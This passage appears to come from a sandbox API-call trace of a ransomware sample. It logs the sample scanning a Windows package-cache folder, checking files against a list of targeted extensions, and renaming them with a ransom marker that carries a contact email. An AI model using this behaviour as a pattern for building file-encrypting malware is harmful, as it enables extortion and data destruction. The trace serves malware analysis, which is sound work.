Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\programdata\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.941] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=5153816) returned 1 [0173.941] CloseHandle (hObject=0x1a4) returned 1 [0173.941] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\cab1.cab")) returned 0x20 [0173.941] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\cab1.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.941] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\cab1.cab"), lpNewFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\cab1.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0173.943] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=151552) returned 1 [0173.943] CloseHandle (hObject=0x1a4) returned 1 [0173.943] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\programdata\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi")) returned 0x20 [0173.943] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.943] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\programdata\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.944] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=821681) returned 1 [0173.944] CloseHandle (hObject=0x1a4) returned 1 [0173.944] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\cab1.cab")) returned 0x20 [0173.944] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\cab1.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.944] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.944] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=151552) returned 1 [0173.944] CloseHandle (hObject=0x1a4) returned 1 [0173.944] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\programdata\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi")) returned 0x20 [0173.945] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.945] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\programdata\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.947] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=654) returned 1 [0173.947] CloseHandle (hObject=0x1a4) returned 1 [0173.947] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm")) returned 0x20 [0173.947] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.947] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.948] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=455576) returned 1 [0173.948] CloseHandle (hObject=0x1a4) returned 1 [0173.948] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe" (normalized: "c:\\programdata\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe")) returned 0x20 [0173.948] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.948] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe" (normalized: "c:\\programdata\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.950] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=809765) returned 1 [0173.950] CloseHandle (hObject=0x1a4) returned 1 [0173.950] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\cab1.cab")) returned 0x20 [0173.950] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\cab1.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\cab1.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.950] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.952] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=151552) returned 1 [0173.952] CloseHandle (hObject=0x1a4) returned 1 [0173.952] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\programdata\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi")) returned 0x20 [0173.952] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.952] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\programdata\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.954] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=5881317) returned 1 [0173.954] CloseHandle (hObject=0x1a4) returned 1 [0173.954] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\cab1.cab")) returned 0x20 [0173.954] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\cab1.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.954] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\cab1.cab"), lpNewFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\cab1.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0173.954] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab") returned 123 [0173.955] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab") returned 123 [0173.955] lstrlenW (lpString=".doc") returned 4 [0173.955] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0173.955] lstrlenW (lpString=".docx") returned 5 [0173.955] lstrcmpiW (lpString1=".docx", lpString2="1.cab") returned -1 [0173.955] lstrlenW (lpString=".pdf") returned 4 [0173.955] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0173.955] lstrlenW (lpString=".xls") returned 4 [0173.955] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0173.955] lstrlenW (lpString=".xlsx") returned 5 [0173.955] lstrcmpiW (lpString1=".xlsx", lpString2="1.cab") returned -1 [0173.955] lstrlenW (lpString=".ppt") returned 4 [0173.955] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0173.955] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab") returned 123 [0173.955] lstrlenW (lpString=".zip") returned 4 [0173.955] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0173.955] lstrlenW (lpString=".rar") returned 4 [0173.955] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0173.955] lstrlenW (lpString=".bz2") returned 4 [0173.955] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0173.955] lstrlenW (lpString=".7z") returned 3 [0173.955] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0173.955] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab") returned 123 [0173.955] lstrlenW (lpString=".dbf") returned 4 [0173.955] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0173.955] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab") returned 123 [0173.955] lstrlenW (lpString=".1cd") returned 4 [0173.955] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0173.956] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab") returned 123 [0173.956] lstrlenW (lpString=".jpg") returned 4 [0173.956] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0173.956] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab") returned 123 [0173.956] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab") returned 123 [0173.956] lstrlenW (lpString=".doc") returned 4 [0173.956] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0173.956] lstrlenW (lpString=".docx") returned 5 [0173.956] lstrcmpiW (lpString1=".docx", lpString2="1.cab") returned -1 [0173.956] lstrlenW (lpString=".pdf") returned 4 [0173.956] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0173.956] lstrlenW (lpString=".xls") returned 4 [0173.956] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0173.956] lstrlenW (lpString=".xlsx") returned 5 [0173.956] lstrcmpiW (lpString1=".xlsx", lpString2="1.cab") returned -1 [0173.956] lstrlenW (lpString=".ppt") returned 4 [0173.956] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0173.956] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab") returned 123 [0173.956] lstrlenW (lpString=".zip") returned 4 [0173.956] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0173.956] lstrlenW (lpString=".rar") returned 4 [0173.956] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0173.956] lstrlenW (lpString=".bz2") returned 4 [0173.956] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0173.956] lstrlenW (lpString=".7z") returned 3 [0173.956] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0173.956] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab") returned 123 [0173.957] lstrlenW (lpString=".dbf") returned 4 [0173.957] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0173.957] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab") returned 123 [0173.957] lstrlenW (lpString=".1cd") returned 4 [0173.957] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0173.957] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab") returned 123 [0173.957] lstrlenW (lpString=".jpg") returned 4 [0173.957] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0173.957] lstrcmpiW (lpString1=".msi", lpString2=".wiki") returned -1 [0173.957] lstrlenW (lpString="vc_runtimeAdditional_x64.msi") returned 28 [0173.957] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\programdata\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0173.958] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=143360) returned 1 [0173.958] CloseHandle (hObject=0x1a4) returned 1 [0173.958] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\programdata\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi")) returned 0x20 [0173.958] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.959] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\programdata\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.959] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi") returned 143 [0173.959] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi") returned 143 [0173.959] lstrlenW (lpString=".doc") returned 4 [0173.959] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0173.959] lstrlenW (lpString=".docx") returned 5 [0173.959] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0173.959] lstrlenW (lpString=".pdf") returned 4 [0173.959] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0173.959] lstrlenW (lpString=".xls") returned 4 [0173.959] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0173.959] lstrlenW (lpString=".xlsx") returned 5 [0173.959] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0173.959] lstrlenW (lpString=".ppt") returned 4 [0173.959] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0173.959] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi") returned 143 [0173.959] lstrlenW (lpString=".zip") returned 4 [0173.959] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0173.959] lstrlenW (lpString=".rar") returned 4 [0173.959] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0173.959] lstrlenW (lpString=".bz2") returned 4 [0173.959] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0173.959] lstrlenW (lpString=".7z") returned 3 [0173.959] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0173.959] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi") returned 143 [0173.959] lstrlenW (lpString=".dbf") returned 4 [0173.959] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0173.959] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi") returned 143 [0173.960] lstrlenW (lpString=".1cd") returned 4 [0173.960] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0173.960] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi") returned 143 [0173.960] lstrlenW (lpString=".jpg") returned 4 [0173.960] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0173.960] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi") returned 143 [0173.960] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi") returned 143 [0173.960] lstrlenW (lpString=".doc") returned 4 [0173.960] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0173.960] lstrlenW (lpString=".docx") returned 5 [0173.960] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0173.960] lstrlenW (lpString=".pdf") returned 4 [0173.960] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0173.960] lstrlenW (lpString=".xls") returned 4 [0173.960] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0173.960] lstrlenW (lpString=".xlsx") returned 5 [0173.960] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0173.960] lstrlenW (lpString=".ppt") returned 4 [0173.960] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0173.960] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi") returned 143 [0173.960] lstrlenW (lpString=".zip") returned 4 [0173.960] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0173.960] lstrlenW (lpString=".rar") returned 4 [0173.960] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0173.960] lstrlenW (lpString=".bz2") returned 4 [0173.960] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0173.960] lstrlenW (lpString=".7z") returned 3 [0173.960] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0173.960] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi") returned 143 [0173.961] lstrlenW (lpString=".dbf") returned 4 [0173.961] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0173.961] lstrlenW (lpString="C:\\ProgramData\\Package 